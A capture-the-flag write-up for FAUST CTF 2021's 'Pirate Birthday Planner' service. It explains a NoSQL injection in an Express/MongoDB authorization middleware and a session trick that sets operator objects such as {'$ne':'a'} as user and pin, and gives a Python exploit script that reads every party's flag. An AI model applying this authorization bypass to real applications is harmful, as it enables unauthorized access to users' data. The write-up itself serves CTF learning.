FAUST CTF 2021 - Pirate Birthday Planner writeup

Pirate birthday planner

The service allows you to create a secret party with a list of guests.
To see the party information you need the party id, a valid guest name and the random pin.

The flagIds available at https://2021.faustctf.net/competition/teams.json are also the party ids where flags are stored.

To read the flag we need to bypass the checks of name and pin.

Vulnerability

The portion of code to check if a user is authorized in the party is done in this middleware

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
app.use('/party/:partyId', async function (req, res, next) {
const partyId = req.params['partyId'];
const user = req.session.user;
const pin = req.session.pin;

const query = {
"uuid": partyId,
"guestlist.name": user,
"guestlist.pin": pin
};

if (user != undefined && pin != undefined) {
const party = await Party.exists(query);
if (party) {
req.on_guestlist = true;
return next()
}
}

req.on_guestlist = false;
return next();
});

The query is vulnerable to noSQL injection, but we need to set both session.user and session.pin to a js object controlled by us.

The session is stored in a cookie created with the cookie-session library and it needs a signature with a random key, so we should find a way to get it from the server.

When using the app in the intended way the browser sends the requested data with Content-Type: application/x-www-form-urlencoded. However, the server also loads a middleware to interpret the application/json content type.

Thanks to it we can send data as json, injecting objects inside the input parameters of the server.

Our first try was the /new endpoint

1
2
3
4
5
6
7
app.post('/party/:partyId/new', (req, res) => {
if (!req.session.user || !req.session.pin) {
req.session.user = req.body.user.trim();
req.session.pin = req.body.pin;
}
return res.send(200, { "status": "ok" });
});

Here we confirmed that it’s possible to set as a pin an object like {"$ne":"a"} and bypass the check.

However, this endpoint calls the trim() function on the user parameter making it unusable for the exploitation.

We need to set both session.user and session.pin to an object to bypass the checks.

Exploit

We used two sessions in parallel to get the exploit working, a legit session and a session for the payload.

First we create a party in the legit session with valid values.

Then, in the other session, we create a party sending the admin parameter equal to the object {"$ne":"a"}. The creation of the party will fail, but the session values are updated anyway, in this way we set session.user to the bypass object.

However, we have a random value in session.pin, but we can’t change it because the corresponding party doesn’t exists in the server.

To solve this problem we set the pin of the legit party equal to the one in the payload session.

With the user bypass and the right pin the payload session will pass the checks for the legit party.

In the last step we use the payload session to change again the pin of the legit party with a bypass object.

Now the payload session can bypass the checks for all the parties in the server, we just need to collect all the flags from the /detail endpoint and reverse the xor.

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from requests import Session
from pwn import xor

s = Session()
s_legit = Session()

ip = 'fd66:666:1::2'

teams = requests.get('https://2021.faustctf.net/competition/teams.json',timeout=10).json()

tn = ip.split(':')[2]

try:
flagids = teams['flag_ids']['Pirate Birthday Planner'][tn]
except:
print('no ids')
exit()

header = {"Content-Type": "application/json; charset=utf-8"}

party = {"party":{"admin":"aaa", "guestlist": "", "description":""}}
r = s_legit.post('http://' + ip + ':2727/party',json=party, headers=header,timeout=10)

legit_id = r.url.split('/')[-1]

party_expl = {"party":{"admin":{"$ne":"g"}, "guestlist": "", "description":""}}
r = s.post('http://' + ip + ':2727/party',json=party_expl, headers=header,timeout=10)

pin = json.loads(base64.b64decode(s.cookies['session']))['pin']

changepin = {"pin":pin}
r = s_legit.post('http://' + ip + ':2727/party/' + legit_id + '/updatepw',json=changepin, headers=header,timeout=10)

changepin_exp = {"pin":{"$ne":"gg"}}
r = s.post('http://' + ip + ':2727/party/' + legit_id + '/updatepw',json=changepin_exp, headers=header,timeout=10)

for flagid in flagids:
r1 = s.get('http://' + ip + ':2727/party/' + flagid + '/details',timeout=10)
j = r1.json()
flag = xor(base64.b64decode(j['description']),j['admin'][0])
print(flag.decode())